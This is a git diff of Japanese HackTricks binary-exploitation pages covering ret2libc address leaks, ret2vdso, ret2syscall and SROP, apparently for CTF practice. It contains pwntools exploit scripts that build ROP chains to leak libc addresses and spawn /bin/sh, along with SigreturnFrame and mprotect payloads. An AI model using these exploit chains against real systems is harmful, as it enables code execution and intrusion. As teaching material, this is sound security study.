- 64ビット、ASLR有効だがPIEなし、最初のステップはオーバーフローを埋めてカナリアのバイト0x00まで到達し、次にputsを呼び出して漏洩させることです。カナリアを使ってROPガジェットを作成し、putsを呼び出してGOTからputsのアドレスを漏洩させ、次に`system('/bin/sh')`を呼び出すROPガジェットを作成します。
- 64ビット、ASLR有効だがPIEなし、最初のステップはオーバーフローを満たし、カナリアのバイト0x00まで到達してからputsを呼び出し漏洩させる。カナリアを使用してROPガジェットを作成し、putsを呼び出してGOTからputsのアドレスを漏洩させ、次に`system('/bin/sh')`を呼び出すROPガジェットを作成
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
- 64ビット、ASLR有効、カナリアなし、子関数からのメインでのスタックオーバーフロー。GOTからputsのアドレスを漏洩させるためにputsを呼び出すROPガジェットを作成し、その後one gadgetを呼び出します。
- 64ビット、ASLR有効、カナリアなし、子関数からmainでスタックオーバーフロー。ROPガジェットを使用してputsを呼び出し、GOTからputsのアドレスを漏洩させ、その後one gadgetを呼び出す。
- [https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html)
- 64ビット、PIEなし、カナリアなし、relroなし、nx。write関数を使用してwritelibcのアドレスを漏洩させ、one gadgetを呼び出します。
- 64ビット、PIEなし、カナリアなし、relroなし、nx。write関数を使用してwritelibcのアドレスを漏洩させ、one gadgetを呼び出す。
- [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html)
- フォーマット文字列を使用してスタックからカナリアを漏洩させ、バッファオーバーフローを使用してsystemGOT内を呼び出し、`/bin/sh`のアドレスを渡します。
- フォーマット文字列を使用してスタックからカナリアを漏洩させ、バッファオーバーフローを使用してsystemGOT内を呼び出し、`/bin/sh`のアドレスを渡す。
- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
- 32ビット、relroなし、カナリアなし、nx、pie。悪いインデックスを悪用してスタックからlibcとヒープのアドレスを漏洩させます。バッファオーバーフローを悪用して`system('/bin/sh')`を呼び出すret2libを行います(ヒープアドレスはチェックをバイパスするために必要です)。
- 32ビット、relroなし、カナリアなし、nx、pie。悪いインデックスを悪用してスタックからlibcとヒープのアドレスを漏洩させ。バッファオーバーフローを悪用して`system('/bin/sh')`を呼び出すret2libを行(ヒープアドレスはチェックをバイパスするために必要)。
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,4 +1,4 @@
# ROPを使用したlibcアドレスのリーク
# ROPを使用したlibcアドレスの漏洩
{{#include ../../../../banners/hacktricks-training.md}}
@ -6,13 +6,13 @@
1. **オーバーフローの**オフセットを**見つける**
2. `POP_RDI`ガジェット、`PUTS_PLT`および`MAIN`ガジェットを**見つける**
3. 前のガジェットを使用して**putsまたは他のlibc関数のメモリアドレスをリークし、**libcのバージョンを**見つける**[donwload it](https://libc.blukat.me)
4. ライブラリを使用して、**ROPを計算し、エクスプロイトする**
3. 前のガジェットを使用して**putsまたは他のlibc関数のメモリアドレスを漏洩させ**、**libcのバージョンを見つける**[donwload it](https://libc.blukat.me)
4. ライブラリを使用して、**ROPを計算し、悪用する**
## 練習用の他のチュートリアルとバイナリ
## 実践のための他のチュートリアルとバイナリ
このチュートリアルは、次のチュートリアルで提案されたコード/バイナリをエクスプロイトします: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
他の役立つチュートリアル: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
このチュートリアルは、次のチュートリアルで提案されたコード/バイナリを悪用します: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
他の有用なチュートリアル: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
## コード
@ -32,9 +32,10 @@ return 0;
```bash
gcc -o vuln vuln.c -fno-stack-protector -no-pie
```
## ROP - LIBCを漏洩させるテンプレート
## ROP - LIBCのリークテンプレート
エクスプロイトをダウンロードし、脆弱なバイナリと同じディレクトリに配置し、スクリプトに必要なデータを提供します:
エクスプロイトをダウンロードし、脆弱なバイナリと同じディレクトリに配置し、スクリプトに必要なデータを提供します:
{{#ref}}
rop-leaking-libc-template.md
@ -57,7 +58,7 @@ r.sendline(payload)
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
```
**実行** `python template.py` を入力すると、プログラムがクラッシュした状態でGDBコンソールが開きます。その**GDBコンソール**内で `x/wx $rsp` を実行して、RIPを上書きしようとしている**バイト**を取得します。最後に、**python**コンソールを使用して**オフセット**を取得します:
**実行** `python template.py` すると、プログラムがクラッシュした状態で GDB コンソールが開きます。その **GDB コンソール** 内で `x/wx $rsp` を実行して、RIP を上書きしようとしている **バイト** を取得します。最後に、**python** コンソールを使用して **オフセット** を取得します:
```python
from pwn import *
cyclic_find(0x6161616b)
@ -71,7 +72,7 @@ cyclic_find(0x6161616b)
## 2- ガジェットの発見
次に、バイナリ内でROPガジェットを見つける必要があります。このROPガジェットは、使用されている**libc**を見つけるために`puts`を呼び出すのに役立ち、後で**最終的なエクスプロイトを実行**するために使用されます。
次に、バイナリ内でROPガジェットを見つける必要があります。このROPガジェットは、使用されている**libc**を見つけるために`puts`を呼び出すのに役立ち、後で**最終的なエクスプロイトを実行する**ために使用されます。
```python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
@ -83,7 +84,7 @@ log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
```
`PUTS_PLT`は**function puts**を呼び出すために必要です。\
`MAIN_PLT`は**exploit**のために**overflow**を**again**呼び出すために、1回のインタラクションの後に**main function**を再度呼び出すために必要です(無限のエクスプロイトのラウンド)。**各ROPの最後にプログラムを再度呼び出すために使用されます**。\
`MAIN_PLT`は**exploit**のために**overflow**を**again**行うために、1回のインタラクションの後に**main function**を再度呼び出すために必要です(無限のエクスプロイトのラウンド)。**各ROPの最後にプログラムを再度呼び出すために使用されます**。\
**POP_RDI**は呼び出された関数に**parameter**を**pass**するために必要です。
このステップでは、実行中にpwntoolsによってすべてが見つかるため、何も実行する必要はありません。
@ -123,12 +124,12 @@ p.interactive()
```python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
```
これにより、**RIP**を**上書きする**ことが可能になるまでいくつかのバイトが送信されます: `OFFSET`。\
次に、ガジェット`POP_RDI`の**アドレス**を設定し、次のアドレス(`FUNC_GOT`)が**RDI**レジスタに保存されるようにします。これは、**putsを呼び出す**ために、`PUTS_GOT`の**アドレス**を渡したいからです。puts関数のメモリ内のアドレスは`PUTS_GOT`が指すアドレスに保存されていす。\
その後、`PUTS_PLT`が呼び出され(**RDI**内に`PUTS_GOT`がある状態で、putsは`PUTS_GOT`内の**内容を読み取ります****メモリ内のputs関数のアドレス**そしてそれを**出力します**。\
これは、**RIP**を**上書きする**ことが可能になるまでいくつかのバイトを送信します: `OFFSET`。\
次に、**アドレス**を`POP_RDI`のガジェットに設定し、次のアドレス(`FUNC_GOT`)が**RDI**レジスタに保存されるようにします。これは、`PUTS_GOT`のアドレスを渡して**putsを呼び出す**ためです。なぜなら、puts関数のメモリ内のアドレスは`PUTS_GOT`が指すアドレスに保存されているからです。\
その後、`PUTS_PLT`が呼び出され(**RDI**内に`PUTS_GOT`がある状態で、putsは`PUTS_GOT`内の**内容を読み取り****メモリ内のputs関数のアドレス**それを**出力します**。\
最後に、**main関数が再度呼び出され**、再びオーバーフローを利用できるようになります。
この方法で、**puts関数を騙して**、**メモリ内の**関数**putsのアドレス****libc**ライブラリ内)を**出力させました**。そのアドレスがわかったので、**どのlibcバージョンが使用されているかを検索できます**。
この方法で、**puts関数を騙して**、**メモリ内の**puts関数**アドレス****libc**ライブラリ内)を**出力させました**。今、そのアドレスがあるので、**どのlibcバージョンが使用されているかを検索できます**。
![](<../../../../images/image (1049).png>)
@ -137,7 +138,7 @@ rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
### 3.1- libcバージョンの検索 (1)
ウェブページでどのライブラリが使用されているかを検索できます: [https://libc.blukat.me/](https://libc.blukat.me)\
ウェブページで使用されているライブラリを検索できます: [https://libc.blukat.me/](https://libc.blukat.me)\
これにより、発見された**libc**のバージョンをダウンロードすることもできます。
![](<../../../../images/image (221).png>)
@ -171,7 +172,7 @@ Getting libc6_2.23-0ubuntu10_amd64
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
```
`libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so`を作業ディレクトリにコピーします。
`libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so`からlibcを作業ディレクトリにコピーします。
### 3.3- 漏洩させる他の関数
```python
@ -185,7 +186,7 @@ gets
この時点で、使用されているlibcライブラリを知っている必要があります。ローカルバイナリを悪用しているので、私は次のようにします:`/lib/x86_64-linux-gnu/libc.so.6`
したがって、`template.py`の最初に**libc**変数を次のように変更します: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it`
したがって、`template.py`の最初に**libc**変数を次のように変更します: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #ライブラリパスを知っているときに設定する`
**libcライブラリ**への**パス**を指定することで、残りの**エクスプロイトは自動的に計算されます**。
@ -195,10 +196,10 @@ if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
```
> [!NOTE]
> 最終的なlibcベースアドレスは**00で終わる必要があります**。そうでない場合は、間違ったライブラリ漏洩した可能性があります。
> [!TIP]
> **最終的なlibcベースアドレスは00で終わる必要があります**。そうでない場合は、間違ったライブラリ漏洩した可能性があります。
その後、関数`system`のアドレスと文字列_"/bin/sh"_の**アドレス**は、**libcのベースアドレス**から**計算**され、**libcライブラリ**が与えられます。
次に、関数`system`のアドレスと文字列_"/bin/sh"_の**アドレス**は、**libc****ベースアドレス**から**計算**され、**libcライブラリ**が与えられます。
```python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
@ -207,7 +208,7 @@ EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
```
最終的に、/bin/sh 実行エクスプロイトが準備されます:
最終的に、/bin/sh 実行エクスプロイトが準備されます
```python
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
@ -218,7 +219,7 @@ p.sendline(rop2)
p.interactive() #Interact with the conenction
```
最後のROPについて説明しましょう。\
最後のROP`rop1`は再びmain関数を呼び出し、次に**再度****オーバーフロー**を**悪用**します(だから`OFFSET`がここに再びあります)。次に、`POP_RDI`を呼び出し**"/bin/sh"**の**アドレス**`BINSH`)を指し、**system**関数(`SYSTEM`)を呼び出します。なぜなら、**"/bin/sh"**のアドレスがパラメータとして渡されるからです。\
最後のROP`rop1`は再びmain関数を呼び出し、次に**overflow**を**再利用**することができます(だから`OFFSET`がここに再びあります)。次に、`POP_RDI`を呼び出し**"/bin/sh"**の**アドレス**`BINSH`)を指し、**system**関数(`SYSTEM`)を呼び出します。なぜなら、**"/bin/sh"**のアドレスがパラメータとして渡されるからです。\
最後に、**exit関数のアドレス**が**呼び出され**、プロセスが**正常に終了**し、アラートが生成されません。
**この方法で、エクスプロイトは_/bin/sh_シェルを実行します。**
@ -228,7 +229,7 @@ p.interactive() #Interact with the conenction
## 4(2)- ONE_GADGETの使用
**system**と**"/bin/sh"**を使用する代わりに、[**ONE_GADGET**](https://github.com/david942j/one_gadget)を使用してシェルを取得することもできます。**ONE_GADGET**はlibcライブラリ内で、1つの**ROPアドレス**を使用してシェルを取得する方法を見つけます。\
ただし、通常はいくつかの制約があり、最も一般的で回避しやすいものは`[rsp+0x30] == NULL`のようなものです。**RSP**内の値を制御しているので、制約を回避するためにもう少しNULL値を送信するだけです。
ただし、通常はいくつかの制約があり、最も一般的で回避しやすいものは`[rsp+0x30] == NULL`です。**RSP**内の値を制御しているので、制約を回避するためにもう少しNULL値を送信するだけです。
![](<../../../../images/image (754).png>)
```python
@ -237,7 +238,8 @@ rop2 = base + p64(ONE_GADGET) + "\x00"*100
```
## EXPLOIT FILE
この脆弱性を悪用するためのテンプレートはここにあります:
この脆弱性を悪用するためのテンプレートはここにあります:
{{#ref}}
rop-leaking-libc-template.md
@ -247,7 +249,7 @@ rop-leaking-libc-template.md
### MAIN_PLT = elf.symbols\['main'] が見つかりません
"main" シンボルが存在しない場合、メインコードの場所を見つけることができます
"main" シンボルが存在しない場合、メインコードの場所を見つけることができます:
```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:

View File

@ -6,7 +6,7 @@
**vDSO領域にガジェットが存在する可能性があります**。これはユーザーモードからカーネルモードに切り替えるために使用されます。この種のチャレンジでは、通常、vDSO領域をダンプするためにカーネルイメージが提供されます。
[https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/)の例に従って、vdsoセクションをダンプし、ホストに移動する方法を見ることができます。
[https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) の例に従うと、vdsoセクションをダンプしてホストに移動する方法がわかります。
```bash
# Find addresses
cat /proc/76/maps
@ -52,11 +52,12 @@ or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd
```
> [!CAUTION]
> したがって、**vdsoを悪用してASLRをバイパスする**ことが可能であるかもしれないことに注意してください。カーネルがCONFIG_COMPAT_VDSOでコンパイルされている場合、vdsoアドレスはランダム化されません: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
> したがって、**vdsoを悪用してASLRをバイパスする**ことが可能である理由に注意してください。カーネルがCONFIG_COMPAT_VDSOでコンパイルされている場合、vdsoアドレスはランダム化されません: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
### ARM64
kali 2023.2 arm64でバイナリのvdsoセクションをダンプして確認したところ、スタックの値からレジスタを制御したり、retのためにx30を制御したりするための興味深いガジェットは見つかりませんでした**SROPを呼び出す方法を除いて**。ページの例からの詳細を確認してください:
kali 2023.2 arm64でバイナリのvdsoセクションをダンプして確認したところ、スタックの値からレジスタを制御したり、retのためにx30を制御する方法は見つかりませんでした**SROPを呼び出す方法を除いて**。ページの例からの詳細を確認してください:
{{#ref}}
srop-sigreturn-oriented-programming/srop-arm64.md

View File

@ -4,16 +4,16 @@
## 基本情報
これはRet2libに似ていますが、この場合はライブラリから関数を呼び出すことはありません。この場合、すべては`sys_execve`システムコールを引数付きで呼び出し、`/bin/sh`を実行するために準備されます。この技術は通常、静的にコンパイルされたバイナリで実行されるため、多くのガジェットやシステムコール命令が存在する可能性があります。
これはRet2libに似ていますが、この場合はライブラリから関数を呼び出すことはありません。この場合、`sys_execve`システムコールを呼び出すために、いくつかの引数を準備します。これにより、`/bin/sh`を実行します。この技術は通常、静的にコンパイルされたバイナリで行われるため、多くのガジェットやシステムコール命令が存在する可能性があります。
**syscall**の呼び出しを準備するためには、以下の設定が必要です:
**syscall**の呼び出しを準備するためには、次の構成が必要です:
- `rax: 59 sys_execveを指定`
- `rdi: "/bin/sh"へのポインタ、実行するファイルを指定`
- `rsi: 0、引数は渡さないことを指定`
- `rdx: 0、環境変数は渡さないことを指定`
基本的に、`/bin/sh`という文字列をどこかに書き込み、その後`syscall`を実行する必要があります(スタックを制御するために必要なパディングに注意)。これには、`/bin/sh`を既知の領域に書き込むためのガジェットが必要です。
基本的に`/bin/sh`という文字列をどこかに書き込み、その後`syscall`を実行する必要があります(スタックを制御するために必要なパディングに注意してください)。これには、`/bin/sh`を既知の領域に書き込むためのガジェットが必要です。
> [!TIP]
> 呼び出すのに興味深い別のシステムコールは**`mprotect`**で、これにより攻撃者は**メモリ内のページの権限を変更する**ことができます。これは[**ret2shellcode**](../../stack-overflow/stack-shellcode/index.html)と組み合わせることができます。
@ -28,7 +28,7 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret
```
これらのアドレスを使用すると、**スタックの内容を書き込み、レジスタにロードする**ことが可能です。
これらのアドレスを使用すると、**スタックに内容を書き込み、それをレジスタにロードする**ことができます。
## 文字列の書き込み
@ -96,7 +96,7 @@ rop += writeGadget #Address to: mov qword ptr [rax], rdx
```
## ガジェットが不足している場合
もし**ガジェットが不足している**場合、例えばメモリに`/bin/sh`を書き込むために、スタックからすべてのレジスタ値RIPやパラメータレジスタを含むを制御するために**SROP技術を使用することができます**
もし**ガジェットが不足している**場合、例えばメモリに`/bin/sh`を書き込むために、スタックからすべてのレジスタ値RIPやパラメータレジスタを含むを制御するために**SROP技術**を使用できます:
{{#ref}}
../srop-sigreturn-oriented-programming/
@ -172,10 +172,10 @@ target.interactive()
## その他の例と参考文献
- [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html)
- 64ビット、PIEなし、nx、メモリに`execve`を呼び出すROPを書き、そこにジャンプします。
- 64ビット、PIEなし、nx、メモリにROPを書き込み、`execve`を呼び出してそこにジャンプします。
- [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html)
- 64ビット、nx、PIEなし、メモリに`execve`を呼び出すROPを書き、そこにジャンプします。スタックに数学的操作を行う関数を書き込むために悪用されます。
- 64ビット、nx、PIEなし、メモリにROPを書き込み、`execve`を呼び出してそこにジャンプします。スタックに数学的操作を行う関数を書き込むために悪用されます。
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
- 64ビット、PIEなし、nx、BFカナリア、メモリに`execve`を呼び出すROPを書き、そこにジャンプします。
- 64ビット、PIEなし、nx、BFカナリア、メモリにROPを書き込み、`execve`を呼び出してそこにジャンプします。
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,7 +2,8 @@
{{#include ../../../banners/hacktricks-training.md}}
arm64の紹介は以下を参照してください
arm64の紹介を見つけるには:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
@ -10,7 +11,8 @@ arm64の紹介は以下を参照してください
## コード
私たちはページからの例を使用します:
次のページの例を使用します:
{{#ref}}
../../stack-overflow/ret2win/ret2win-arm64.md
@ -63,10 +65,10 @@ nop ;
mov x8, #0xdd ;
svc #0
```
前のガジェットを使用することで、スタックから必要なすべてのレジスタを制御し、x5を使用して2番目のガジェットにジャンプしてsyscallを呼び出すことができます。
スタックから必要なすべてのレジスタを制御できる前のガジェットを使用し、x5を使用して2番目のガジェットにジャンプしてsyscallを呼び出ます。
> [!TIP]
> libcライブラリからこの情報を知ることでret2libc攻撃を行うことも可能ですが、今回はこの例のために使用しましょう。
> libcライブラリからこの情報を知ることは、ret2libc攻撃を行うことも可能にしますが、今回はこの例のために使用しましょう。
### エクスプロイト
```python

View File

@ -8,7 +8,7 @@
シグナルハンドラが終了した後、プログラムは何も起こらなかったかのように **以前の状態に戻る** 必要があります。ここで **`sigreturn`** が登場します。これは、プログラムが **シグナルハンドラから戻る** のを助け、シグナルハンドラによって使用されたスタックフレーム(関数呼び出しやローカル変数を格納するメモリのセクション)をクリーンアップすることでプログラムの状態を復元します。
興味深いのは、**`sigreturn`** がプログラムの状態をどのように復元するかです:それは **すべてのCPUのレジスタ値をスタックに保存することによって** 行います。シグナルがもはやブロックされていないとき、**`sigreturn` はこれらの値をスタックからポップし**、実質的にCPUのレジスタをシグナルが処理される前の状態にリセットします。これには、スタックの現在のトップを指すスタックポインタレジスタRSPが含まれます。
興味深いのは、**`sigreturn`** がプログラムの状態をどのように復元するかです:それは **すべてのCPUのレジスタ値をスタックに保存することによって** 行います。シグナルがもはやブロックされていないとき、**`sigreturn` はこれらの値をスタックからポップし、** 実質的にCPUのレジスタをシグナルが処理される前の状態にリセットします。これには、現在のスタックのトップを指すスタックポインタレジスタRSPが含まれます。
> [!CAUTION]
> ROPチェーンから **`sigreturn`** syscall を呼び出し、**スタックにロードしたいレジスタ値を追加する** ことで、すべてのレジスタ値を **制御** し、したがって例えば `execve` syscall を `/bin/sh`**呼び出す** ことが可能です。
@ -55,7 +55,7 @@
| __reserved | sigmask |
+--------------------+--------------------+
```
より良い説明のために、こちらも確認してください:
より良い説明については、こちらも確認してください:
{{#ref}}
https://youtu.be/ADULSwnQs-s?feature=shared
@ -63,7 +63,7 @@ https://youtu.be/ADULSwnQs-s?feature=shared
## 例
[**こちらに例があります**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) では、ROPを介してsigneturnへの呼び出しが構築されておりrxaに値`0xf`を入れ)、これはそこからの最終的なエクスプロイトです:
[**こに例があります**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) ここでは、ROPを介してsigneturnへの呼び出しが構築されておりrxaに値`0xf`を入れています)、これはそこからの最終的なエクスプロイトです:
```python
from pwn import *
@ -128,13 +128,13 @@ target.interactive()
- [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
- [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
- [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)
- **スタックに書き込む**ことを可能にし、その後**`sigreturn`**システムコールを呼び出すアセンブリバイナリ。**sigreturn**構造体を介してスタックに[**ret2syscall**](../rop-syscall-execv/index.html)を書き込み、バイナリのメモリ内にあるフラグを読み取ることが可能です。
- **スタックに書き込む**ことを可能にし、その後**`sigreturn`**システムコールを呼び出すアセンブリバイナリ。スタックに[**ret2syscall**](../rop-syscall-execv/index.html)を**sigreturn**構造体を介して書き込み、バイナリのメモリ内にあるフラグを読み取ることが可能です。
- [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)
- **スタックに書き込む**ことを可能にし、その後**`sigreturn`**システムコールを呼び出すアセンブリバイナリ。**sigreturn**構造体を介してスタックに[**ret2syscall**](../rop-syscall-execv/index.html)を書き込むことが可能です(バイナリには`/bin/sh`という文字列があります)。
- **スタックに書き込む**ことを可能にし、その後**`sigreturn`**システムコールを呼び出すアセンブリバイナリ。スタックに[**ret2syscall**](../rop-syscall-execv/index.html)を**sigreturn**構造体を介して書き込むことが可能です(バイナリには`/bin/sh`という文字列があります)。
- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
- 64ビット、relroなし、canaryなし、nx、pieなし。ガジェットが不足している`gets`関数を悪用したシンプルなバッファオーバーフローで[**ret2syscall**](../rop-syscall-execv/index.html)を実行します。ROPチェーンは`gets`を再度呼び出すことで`/bin/sh``.bss`に書き込み、**`alarm`**関数を悪用してeaxを`0xf`に設定し、**SROP**を呼び出してシェルを実行します。
- 64ビット、relroなし、カナリアなし、nx、pieなし。`gets`関数のバッファオーバーフローを利用し、[**ret2syscall**](../rop-syscall-execv/index.html)を実行するためのガジェットが不足しています。ROPチェーンは`/bin/sh``.bss`に書き込み、再度getsを呼び出し、**`alarm`**関数を利用してeaxを`0xf`に設定し、**SROP**を呼び出してシェルを実行します。
- [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
- 64ビットアセンブリプログラム、relroなし、canaryなし、nx、pieなし。フローはスタックに書き込み、いくつかのレジスタを制御し、システムコールを呼び出し、その後`exit`を呼び出すことを可能にします。選択されたシステムコールは`sigreturn`で、レジスタを設定し、`eip`を以前のシステムコール命令を呼び出すように移動させ、バイナリ空間を`rwx`に設定するために`memprotect`を実行します。フローに従って、プログラムは再びESPに読み込むことを呼び出しますが、この場合ESPは次の命令を指しているため、シェルコードを渡すことで次の命令として書き込まれ、実行されます。
- 64ビットアセンブリプログラム、relroなし、カナリアなし、nx、pieなし。フローはスタックに書き込み、いくつかのレジスタを制御し、システムコールを呼び出し、その後`exit`を呼び出すことを可能にします。選択されたシステムコールは`sigreturn`で、レジスタを設定し、`eip`を以前のシステムコール命令を呼び出すように移動させ、バイナリ空間を`rwx`に設定するために`memprotect`を実行し、バイナリ空間内のESPを設定します。フローに従って、プログラムは再度ESPに読み込みを呼び出しますが、この場合ESPは次の命令を指しているため、シェルコードを次の命令として書き込み、実行します。
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
- SROPは、シェルコードが配置された場所に実行権限memprotectを与えるために使用されます。

View File

@ -74,7 +74,7 @@ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
```
## エクスプロイト
このエクスプロイトは、bofを悪用して**`sigreturn`**への呼び出しに戻り、スタックを準備して**`execve`**を呼び出すために`/bin/sh`へのポインタを使用します。
このエクスプロイトは、bofを悪用して**`sigreturn`**への呼び出しに戻り、スタックを準備して**`execve`**を呼び出すために`/bin/sh`へのポインタを用します。
```python
from pwn import *
@ -132,11 +132,11 @@ return 0;
```
## Exploit
In the section **`vdso`** it's possible to find a call to **`sigreturn`** in the offset **`0x7b0`**:
セクション **`vdso`** では、オフセット **`0x7b0`** に **`sigreturn`** への呼び出しを見つけることができます:
<figure><img src="../../../images/image (17) (1).png" alt="" width="563"><figcaption></figcaption></figure>
したがって、漏洩した場合、バイナリがそれをロードしていない場合は、このアドレスを使用して `sigreturn` にアクセスすることが可能です:
したがって、漏洩した場合、バイナリがそれをロードしていない場合は **このアドレスを使用して `sigreturn` にアクセスすることが可能です**:
```python
from pwn import *
@ -165,7 +165,7 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
より多くの情報はvdsoについてはを確認してください:
より多くの情報はvdsoについては以下を確認してください:
{{#ref}}
../ret2vdso.md
@ -179,9 +179,9 @@ p.interactive()
---
## `sigreturn`ガジェットを自動的に見つける (2023-2025)
## `sigreturn`ガジェットの自動発見 (2023-2025)
最新のディストリビューションでは、`sigreturn`トランポリンは依然として**vDSO**ページによってエクスポートされていますが、正確なオフセットはカーネルのバージョンやBTI`+branch-protection`やPACなどのビルドフラグによって異なる場合があります。その発見を自動化することで、オフセットをハードコーディングすることを防ぎます:
最新のディストリビューションでは、`sigreturn`トランポリンは依然として**vDSO**ページによってエクスポートされていますが、正確なオフセットはカーネルのバージョンやBTI`+branch-protection`やPACなどのビルドフラグによって異なる場合があります。その発見を自動化することで、オフセットのハードコーディングを防ぎます:
```bash
# With ROPgadget ≥ 7.4
python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn
@ -193,7 +193,7 @@ rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigret
> 注: バイナリが**BTI**でコンパイルされると、すべての有効な間接分岐ターゲットの最初の命令は`bti c`になります。 リンカーによって配置された`sigreturn`トランポリンには、正しいBTIランディングパッドがすでに含まれているため、ガジェットは特権のないコードからも使用可能です。
## ROPとのSROPのチェイニング`mprotect`経由のピボット)
## ROPとのSROPのチェイニング`mprotect`を介したピボット)
`rt_sigreturn`は、*すべての*汎用レジスタと`pstate`を制御することを可能にします。 x86の一般的なパターンは次のとおりです: 1) SROPを使用して`mprotect`を呼び出す、2) シェルコードを含む新しい実行可能スタックにピボットする。 同じアイデアがARM64でも機能します:
```python
@ -215,9 +215,9 @@ Linux 5.16 はユーザースペースのシグナルフレームの厳格な検
* `struct rt_sigframe` の予約語はゼロでなければなりません。
* *extra_context* レコード内のすべてのポインタは整列されており、ユーザーアドレス空間内を指している必要があります。
`pwntools>=4.10` は準拠したフレームを自動的に作成しますが、手動で構築する場合は *reserved* をゼロ初期化し、本当に必要でない限り SVE レコードを省略してください。そうしないと、`rt_sigreturn` は戻るのではなく `SIGSEGV` を返します。
